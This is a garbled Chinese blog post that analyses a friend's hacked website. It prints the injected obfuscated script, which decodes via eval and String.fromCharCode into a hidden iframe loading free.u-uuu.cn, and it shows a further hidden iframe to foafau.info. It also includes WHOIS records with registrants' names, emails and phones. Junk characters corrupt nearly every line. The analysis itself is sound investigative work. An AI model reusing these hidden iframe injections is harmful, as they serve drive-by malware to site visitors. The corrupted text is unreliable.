首发在我的博客里面，
~9APc{"A ts(u7CJd http://www.areway.cn/?p=175 5m'AT]5Tn_ vO$cF* m ;4 ti9 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
ceJ#>Rj R+ \% <script>t=’60,105,102,114,97,109,101,
d0}(d Gl 32,115,114,99,61,104,116,116,112,58,47,47,
K" t? 102,114,101,101,46,117,45,117,117,117,46,99,
NAtDt= 110,47,101,114,114,111,114,46,104,116,109,
ID`C 32,119,105,100,116,104,61,49,48,48,32,104,
-1B. A 101,105,103,104,116,61,48,62,60,47,105,102,
6ERMn"[_w 114,97,109,101,62′;
#wT6IU1 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
x&J\ swN9 KwMt@1Z <script>t=’60,105,102,114,97,109,101,32,115,
2 <OU)rVE4 114,99,61,104,116,116,112,58,47,47,102,114,
-z .
wAp 101,101,46,117,45,117,117,117,46,99,110,47,
CV^%'HIs?+ 101,114,114,111,114,46,104,116,109,32,119,
Dz$w6 d 105,100,116,104,61,49,48,48,32,104,101,105,
LKI\(%ba# 103,104,116,61,48,62,60,47,105,102,114,97,
,<K+.7,)E 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
G"m0[|XH document.write(t);</script>
oB!Y)f6H1 UkD\ma <html xmlns=”
[O ^/"Qk http://www.w3.org/1999/xhtml d ])ctx B “>
e0TxJ * <head>
RLL
ph <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
gCsN \z <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
ZZ {c <title>首页 - 爱生活家庭网
S?` 0,F r)-{~J A! 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
Jb$ G 转换字符串后的大概内容是（谁点击后果自付）：
12L `Gi <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
jyF*JQjK4 B_[I/ ? 查询玉米u-uuu.cn的详细信息：
$ S3b<]B Domain Name: u-uuu.cn
A p?,y? ROID: 20070901s10001s64972306-cn
JAjiG^] Domain Status: ok
?kZ-,@h: Registrant Organization: 王雷
3mYW] Registrant Name: 王雷
`Rq|*:LV Administrative Email:
czlovexs@126.com "XV@O jr E Sponsoring Registrar: 北京万网志成科技有限公司
Q_fgpjEh/t Name Server:ns.yovole.com
6Hb a@Q1` Name Server:ns1.yovole.com
PHT<]:"`< Registration Date: 2007-09-01 17:54
'l!\2Wv2 Expiration Date: 2008-09-01 17:54
l,Y5VGiH# 最后PING了一下地址 都没有什么….
Wk3-J&QbS 2brY\c
F 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
r{d@74 <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
Ce OA_M <script language=”javascript” src=”
Go:(R {P http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script !nJ l.Y$ >
am3JzH 这个玉米应该有可能是木马作者的：
#E=8kbD7 foafau.info的详细信息：
i"
u|119 Access to INFO WHOIS information is provided to assist persons in
i P r(X determining the contents of a domain name registration record in the
Vf J{);
Afilias registry database. The data in this record is provided by
A9SL|9Q Afilias Limited for informational purposes only, and Afilias does not
n2-+.9cY guarantee its accuracy. This service is intended only for query-based
ami>Pp access. You agree that you will use this data only for lawful purposes
OW=3t#"7Kp and that, under no circumstances will you use this data to: (a) allow,
g8'8"9:xC enable, or otherwise support the transmission by e-mail, telephone, or
"]p&7 facsimile of mass unsolicited, commercial advertising or solicitations
`{K-eHlrM9 to entities other than the data recipient’s own existing customers; or
b@4UR< (b) enable high volume, automated, electronic processes that send
!D{z. K O queries or data to the systems of Registry Operator, a Registrar, or
}m? Ut| Afilias except as reasonably necessary to register domain names or
Jia@Hr LR modify existing registrations. All rights reserved. Afilias reserves
{Y-'i;j? the right to modify these terms at any time. By submitting this query,
`Nvhp]E you agree to abide by this policy.
BcpbS%S Domain ID:D22418703-LRMS
GwDOxH' Domain Name:FOAFAU.INFO
NWiDNK[VE} Created On:20-Nov-2007 16:05:42 UTC
5QXU"kWH Last Updated On:20-Nov-2007 16:05:44 UTC
zb[kRo&a0W Expiration Date:20-Nov-2008 16:05:42 UTC
iNi1+sm Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
LzLJ6A>;R Status:CLIENT DELETE PROHIBITED
]Z\ W%'q+ Status:CLIENT RENEW PROHIBITED
l} -k>fug Status:CLIENT TRANSFER PROHIBITED
ziO(`"v Status:CLIENT UPDATE PROHIBITED
fX,O9d$ Status:TRANSFER PROHIBITED
WW3Jxd Registrant ID:GODA-040110615
8/)q$z s Registrant Name:liu hong
!F~1+V>zP Registrant Organization:
bxxLAWQ( Registrant Street1:beijing
\6 APU7S Registrant Street2:
B [YyA Registrant Street3:
FdnLxw Registrant City:beijing
[bo"!Qk% Registrant State/Province:
3l `"(5 Registrant Postal Code:100000
cy
mC?8< Registrant Country:CN
.Xf_U.h$*@ Registrant Phone:+86.860108888777
"8z Me L Registrant Phone Ext.:
Si ~wig2 Registrant FAX:
ljr J C Registrant FAX Ext.:
6=JJ!`"<2 Registrant Email:bbbshiji@163.com
Cpd>xXZz&S Admin ID:GODA-240110615
'
ZTRl+ Admin Name:liu hong
+ru ` Zw5, Admin Organization:
.i_ gE 5 Admin Street1:beijing
lQ ki58. Admin Street2:
?RG;q Admin Street3:
nSS Jl Admin City:beijing
jZidT9[g Admin State/Province:
U)-aecB! Admin Postal Code:100000
avG#0A Y Admin Country:CN
\,p?pL<' Admin Phone:+86.860108888777
)q4nyT >M Admin Phone Ext.:
>a2[P" Admin FAX:
,*lns.|n Admin FAX Ext.:
2w1Mf<IXPo Admin Email:bbbshiji@163.com
5Y ` 4%*$ Billing ID:GODA-340110615
N`N=}&v ] Billing Name:liu hong
T$r/XAs Billing Organization:
BD PE.8s Billing Street1:beijing
p cscNUp Billing Street2:
r/NaoIrJV Billing Street3:
AZNo%!)o Billing City:beijing
<T.R%Jys Billing State/Province:
<)O#Y76s Billing Postal Code:100000
q\!"FDOl4 Billing Country:CN
vFLE%z{\o Billing Phone:+86.860108888777
#LR6w Ek Billing Phone Ext.:
.*YOyK 3H Billing FAX:
h \`( Billing FAX Ext.:
O\yYCi( Billing Email:bbbshiji@163.com
6z~ [Ay Tech ID:GODA-140110615
3 Z SU^v Tech Name:liu hong
}*-fh$QJ Tech Organization:
p*cy W l Tech Street1:beijing
Mx93D
Tech Street2:
r?0w5I Tech Street3:
5B8/"G Tech City:beijing
*qL2=2 Tech State/Province:
}/N jZ*u Tech Postal Code:100000
p.4Sg eh# Tech Country:CN
^HP$r* Tech Phone:+86.860108888777
MGw XZ7?E Tech Phone Ext.:
-Tuk.> i) Tech FAX:
Qqb%^}Xx'u Tech FAX Ext.:
*Y53 b Z Tech Email:bbbshiji@163.com
H)*%e G~ Name Server:NS27.DOMAINCONTROL.COM
K|~ !o Q Name Server:NS28.DOMAINCONTROL.COM
q(s0dkrj Name Server:
{t0! N]' Name Server:
C$ at9=(E6 Name Server:
wp~KrUlR Name Server:
T72Z<h|< Name Server:
Avljrds+7 Name Server:
zKYN5|17 Name Server:
5>1c4u`x Name Server:
F)'_,.?0 Name Server:
i+I.>L/S Name Server:
}L{GwiDMDl Name Server:
=.m/ X> srImk6YD 接着下载每个文件里面的代码：
#z_ .! E 一步一步看..
bccf4EyQ
Y 
UiK)m:NU 
8r,0Qic2K 
+W[{UC4b 
0_^3
|n 
<7ag=IgDy 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
